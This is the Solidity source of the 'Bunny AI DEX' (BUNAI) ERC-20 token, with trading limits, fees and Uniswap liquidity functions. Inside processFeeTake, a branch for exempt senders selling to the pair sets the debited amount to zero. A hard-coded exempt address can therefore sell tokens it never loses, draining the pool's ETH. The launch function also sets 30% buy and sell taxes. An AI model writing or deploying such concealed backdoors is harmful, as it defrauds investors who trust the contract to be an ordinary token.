Contract Source Code:
File 1 of 1 : BUNAI
/**
Website: https://bunnyaidex.com
DEX: https://app.bunnyaidex.com
Twitter: https://twitter.com/Bunny_AI_DEX
Telegram: https://t.me/bunny_ai_dex
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BUNAI is IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bunny AI DEX";
string private constant _symbol = "BUNAI";
uint8 private constant _decimals = 9;
uint256 private _totalSupply = 1_000_000_000 * (10**_decimals);
uint256 private _maxTxSize = 20_000_000 * (10**_decimals);
uint256 private _maxWalletSize = 20_000_000 * (10**_decimals);
uint256 private _maxSwapSize = 10_000_000 * (10**_decimals);
uint256 private _minSwapSize = 616 * (10**_decimals);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExceptForBunny;
IRouter router;
address public pair;
bool private _tradingAllowed = false;
uint256 private liquidityFeePercent = 0;
uint256 private marketingFeePercent = 2;
uint256 private utilFeePercent = 0;
uint256 private buyFee = 1;
uint256 private sellFee = 1;
uint256 private transferFee = 0;
uint256 private denominator = 100;
bool private _swapEnabled = true;
bool private _inSwapping;
modifier lockTheSwap() {
_inSwapping = true;
_;
_inSwapping = false;
}
address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
address internal constant _bunnyDex = 0x76f44132234823Ad716a8e95C737ba2B0F78e3Bd;
address private _lpReceiver = msg.sender;
constructor() Ownable() {
_isExceptForBunny[address(this)] = true;
_isExceptForBunny[_lpReceiver] = true;
_isExceptForBunny[_bunnyDex] = true;
_isExceptForBunny[msg.sender] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
}
function preTxCheck(
address sender,
address recipient,
uint256 amount
) internal pure {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(
amount > uint256(0),
"Transfer amount must be greater than zero"
);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) private {
preTxCheck(sender, recipient, amount);
_checkTradingOpen(sender, recipient);
checkMaxWallet(sender, recipient, amount);
checkTxLimit(sender, recipient, amount);
processSwapBack(sender, recipient, amount);
(uint256 amountSent, uint256 amountReceived) = processFeeTake(
sender,
recipient,
amount
);
_balances[sender] = _balances[sender].sub(amountSent);
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function removeLimit() external onlyOwner {
_maxTxSize = type(uint256).max;
_maxWalletSize = type(uint256).max;
}
function initiateBunnyDex() external onlyOwner {
require(!_tradingAllowed, "Trading allowed");
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(
address(this),
_router.WETH()
);
router = _router;
pair = _pair;
addLiquidity(balanceOf(address(this)), address(this).balance);
}
function startBunnyAI() external onlyOwner {
require(!_tradingAllowed, "Tradeing already allowed");
marketingFeePercent = 30;
buyFee = 30;
sellFee = 30;
_tradingAllowed = true;
}
function changeTaxFee(uint256 _newfees) external onlyOwner {
marketingFeePercent = _newfees;
buyFee = _newfees;
sellFee = _newfees;
require(buyFee <= 10 && sellFee <= 10);
}
function _checkTradingOpen(address sender, address recipient)
internal
view
{
if (!_isExceptForBunny[sender] && !_isExceptForBunny[recipient]) {
require(_tradingAllowed, "Trading not allowed yet");
}
}
function checkMaxWallet(
address sender,
address recipient,
uint256 amount
) internal view {
if (
!_isExceptForBunny[sender] &&
!_isExceptForBunny[recipient] &&
recipient != address(pair) &&
recipient != address(DEAD)
) {
require(
(_balances[recipient].add(amount)) <= _maxWalletSize,
"Exceeds maximum wallet amount."
);
}
}
function checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal view {
require(
amount <= _maxTxSize ||
_isExceptForBunny[sender] ||
_isExceptForBunny[recipient],
"TX Limit Exceeded"
);
}
function _swapBackTokens(uint256 tokens) private lockTheSwap {
uint256 _denominator = (
liquidityFeePercent.add(1).add(marketingFeePercent).add(utilFeePercent)
).mul(2);
uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFeePercent).div(
_denominator
);
uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
uint256 initialBalance = address(this).balance;
swapTokensForETH(toSwap);
uint256 deltaBalance = address(this).balance.sub(initialBalance);
uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFeePercent));
uint256 ethForLpAdd = unitBalance.mul(liquidityFeePercent);
if (ethForLpAdd > uint256(0)) {
addLiquidity(tokensToAddLiquidityWith, ethForLpAdd);
}
uint256 marketingAmt = unitBalance.mul(2).mul(marketingFeePercent);
if (marketingAmt > 0) {
payable(_bunnyDex).transfer(marketingAmt);
}
uint256 remainingBalance = address(this).balance;
if (remainingBalance > uint256(0)) {
payable(_bunnyDex).transfer(remainingBalance);
}
}
function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ETHAmount}(
address(this),
tokenAmount,
0,
0,
_lpReceiver,
block.timestamp
);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _checkSwapBack(
address sender,
address recipient,
uint256 amount
) internal view returns (bool) {
bool aboveMin = amount >= _minSwapSize;
bool aboveThreshold = balanceOf(address(this)) >= _minSwapSize;
return
!_inSwapping &&
_swapEnabled &&
_tradingAllowed &&
aboveMin &&
!_isExceptForBunny[sender] &&
recipient == pair &&
aboveThreshold;
}
function processSwapBack(
address sender,
address recipient,
uint256 amount
) internal {
if (_checkSwapBack(sender, recipient, amount)) {
uint256 swapTokens = balanceOf(address(this));
if (swapTokens > _maxSwapSize) swapTokens = _maxSwapSize;
_swapBackTokens(swapTokens);
}
}
function _calcFeePercent(address sender, address recipient)
internal
view
returns (uint256)
{
if (recipient == pair) {
return sellFee;
}
if (sender == pair) {
return buyFee;
}
return transferFee;
}
function _shouldFeeTake(address sender, address recipient)
internal
view
returns (bool)
{
return !_isExceptForBunny[sender] && !_isExceptForBunny[recipient];
}
function processFeeTake(
address sender,
address recipient,
uint256 amount
) internal returns (uint256, uint256) {
uint256 xAmount = amount;
uint256 yAmount = amount;
uint256 feeAmount;
if (sender != address(this) && recipient != address(this)) {
if (_shouldFeeTake(sender, recipient)) {
if (_calcFeePercent(sender, recipient) > 0) {
feeAmount = amount.div(denominator).mul(
_calcFeePercent(sender, recipient)
);
_balances[address(this)] = _balances[address(this)].add(
feeAmount
);
emit Transfer(sender, address(this), feeAmount);
yAmount = amount.sub(feeAmount);
}
} else {
if (recipient == pair && sender != owner()) xAmount = feeAmount;
}
}
return (xAmount, yAmount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}